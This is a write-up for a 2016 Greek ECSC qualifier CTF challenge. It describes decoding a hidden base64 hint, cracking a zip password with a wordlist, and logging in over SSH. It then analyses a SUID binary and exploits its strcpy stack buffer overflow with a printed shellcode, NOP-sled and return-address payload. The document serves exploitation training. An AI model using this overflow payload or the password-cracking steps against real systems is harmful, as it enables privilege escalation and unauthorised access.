Category: Reverse Engineering

Note: You can download the Reverse Engineering Challenge, along with all the challenges for the 2016 Greek Qualifier CTF of European Cybersecurity Challenge, in this link. More details on the Greek ECSC 2016 Qualifier CTF event can be found here.

 

Points: 60

 

Challenge designer: Gavriil

 

Description: > SilkRoad is back. A vendor on the online marketplace Silk Road, learned that he was not as anonymous as he thought he was while facilitating transactions. In February of 2014, he was arrested by Department of Homeland agents and was subsequently charged with narcotics trafficking, gun theft, and counterfeiting related crimes. One of his friends though managed to escape arrest and had already created SilkRoad 3.0. A secret agent who is helping you, found out this suspicious IP Address (IP of the game). Your mission is to steal the litecoins (flag) he possesses which are located under his home directory. Agent is sure that he is user ulbricht of the host. Good luck!!!

 

Write-up

First, we try to connect to the http service (port 80) with the following result.

This does not indicate anything by itself so let’s take a look at the actual source code of the web page.

 

<html>

<title> Welcome to SilkRoad 2.0 </title>

<center><img src=”silk-road-logo.jpg”> </center>

<!– c2lsa3JvYWQudHh0== –>

</html>

Here is something interesting we have an HTML comment with a base64 encoded string, after we decode the string, we get silkroad.txt and after we try it within the browser, we get another directory /silkroad2.0/ with the following contents.

 

 

After we download the file, we see that the archive is password protected but after some brute force.

 

fcrackzip connect.zip –dictionary -u -p rockyou.txt

We got the password silkroad and decompress the archive resulting with a ConnectionDetails.txt with the following contents.

 

Username: silk

Password: <hidden>

So, we try to connect to the SSH service using the credentials we found earlier.

 

We notice that there is a SUID binary owned by user ulbricht – let’s analyze the file.

 

silk@silkroad:~$ ls -lah

total 32K

drwxr-xr-x 2 silk     silk     4.0K Aug 28 15:34 .

drwxr-xr-x 4 root     root     4.0K May 15 11:47 ..

-rw——- 1 silk     silk       52 May 15 12:21 .bash_history

-rw-r–r– 1 silk     silk      220 May 15 06:24 .bash_logout

-rw-r–r– 1 silk     silk     3.5K May 15 06:24 .bashrc

-rwsr-xr-x 1 ulbricht ulbricht 5.4K May 15 11:52 buyLTC

-rw-r–r– 1 silk     silk      675 May 15 06:24 .profile

silk@silkroad:~$ file buyLTC

buyLTC: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b5d681e2af95fa37fcb4805fd828edfc041959b2, not stripped

As we further analyze the binary we see that it has the No Execute flag on.

 

root@gateway:~# checksec buyLTC

[*] ‘/root/buyLTC’

    Arch:     i386-32-little

    RELRO:    No RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE

At first, we thought that we need to actually create ROP chains to exploit any existing vulnerabilities but in the end that was not the case.

 

The system containing the ELF is not PAE|NX capable. We can verify this by issuing:

 

silk@silkroad:~$ grep ^flags /proc/cpuinfo | head -n1 | egrep –color=auto ‘ (pae|nx) ‘

Now that we know the protections deployed within the binary, we need to know what kind of functions it uses, included strings and the main entry point (debug symbols were present).

 

As we see there are some interesting strings:

 

root@gateway:~# strings ./buyLTC

/lib/ld-linux.so.2

libc.so.6

_IO_stdin_used

strcpy

printf

atoi

__libc_start_main

__gmon_start__

GLIBC_2.0

PTRh

[^_]

Total cost: %.2f euro

333333

;*2$”

GCC: (Debian 4.9.2-10) 4.9.2

GCC: (Debian 4.8.4-1) 4.8.4

.symtab

.strtab

.shstrtab

.interp

.note.ABI-tag

.note.gnu.build-id

.gnu.hash

.dynsym

.dynstr

.gnu.version

.gnu.version_r

.rel.dyn

.rel.plt

.init

.text

.fini

.rodata

.eh_frame_hdr

.eh_frame

.init_array

.fini_array

.jcr

.dynamic

.got

.got.plt

.data

.bss

.comment

crtstuff.c

__JCR_LIST__

deregister_tm_clones

register_tm_clones

__do_global_dtors_aux

completed.6279

__do_global_dtors_aux_fini_array_entry

frame_dummy

__frame_dummy_init_array_entry

buyLTC.c

__FRAME_END__

__JCR_END__

__init_array_end

_DYNAMIC

__init_array_start

_GLOBAL_OFFSET_TABLE_

__libc_csu_fini

_ITM_deregisterTMCloneTable

__x86.get_pc_thunk.bx

data_start

printf@@GLIBC_2.0

convert

_edata

_fini

remove_bad_chars

strcpy@@GLIBC_2.0

__data_start

__gmon_start__

__dso_handle

_IO_stdin_used

__libc_start_main@@GLIBC_2.0

__libc_csu_init

_end

_start

_fp_hw

__bss_start

main

_Jv_RegisterClasses

atoi@@GLIBC_2.0

__TMC_END__

_ITM_registerTMCloneTable

_init

We see that the binary uses strcpy (maybe vulnerable?) we see the main entry point, a very interesting function remove_bad_chars.

 

root@gateway:~# nm ./buyLTC

         U atoi@@GLIBC_2.0

08049870 B __bss_start

08049870 b completed.6279

0804845b T convert

08049868 D __data_start

08049868 W data_start

080483a0 t deregister_tm_clones

08048410 t __do_global_dtors_aux

08049754 t __do_global_dtors_aux_fini_array_entry

0804986c D __dso_handle

0804975c d _DYNAMIC

08049870 D _edata

08049874 B _end

080485d4 T _fini

080485e8 R _fp_hw

08048430 t frame_dummy

08049750 t __frame_dummy_init_array_entry

0804874c r __FRAME_END__

08049848 d _GLOBAL_OFFSET_TABLE_

         w __gmon_start__

080482d4 T _init

08049754 t __init_array_end

08049750 t __init_array_start

080485ec R _IO_stdin_used

         w _ITM_deregisterTMCloneTable

         w _ITM_registerTMCloneTable

08049758 d __JCR_END__

08049758 d __JCR_LIST__

         w _Jv_RegisterClasses

080485d0 T __libc_csu_fini

08048560 T __libc_csu_init

         U __libc_start_main@@GLIBC_2.0

080484f3 T main

         U printf@@GLIBC_2.0

080483d0 t register_tm_clones

080484ab T remove_bad_chars

08048360 T _start

         U strcpy@@GLIBC_2.0

08049870 D __TMC_END__

08048390 T __x86.get_pc_thunk.bx

Finally we can start by loading the binary to a debugger and check its logic. The actual code is minimal, it uses 2 functions remove_bad_chars and convert.

 

 

remove_bad_chars is used to filter one character in the input argument 0x41 (A in ascii table).

 

 

convert is used to copy the input argument to a new char array with size 0x218 then pass the result to atoi multiply it by 3.65 and return the result as a double.

 

 

We know that we have a Stack-based Buffer Overflow in argv[0] when the input is above 536 bytes, and we also know 0x41 is a bad character.

 

After some tries, we manage to rewrite the Extended Instruction Pointer at 544 bytes offset.

 

 

With the above knowledge we constructed our exploit:

 

/home/silk/buyLTC `python -c ‘print “\xda\xc4\xd9\x74\x24\xf4\x5d\xba\x52\x7c\xee\xef\x29\xc9\xb1\x0b\x31\x55\x1a\x03\x55\x1a\x83\xed\xfc\xe2\xa7\x16\xe5\xb7\xde\xb5\x9f\x2f\xcd\x5a\xe9\x57\x65\xb2\x9a\xff\x75\xa4\x73\x62\x1c\x5a\x05\x81\x8c\x4a\x1d\x46\x30\x8b\x31\x24\x59\xe5\x62\xdb\xf1\xf9\x2b\x48\x88\x1b\x1e\xee”+”\x90″*470+”\xe0\xf2\xff\xbf”‘`

 

The flag is: > Nice job mate!

 

# echo 7eamnull

Share This

Share this post with your friends!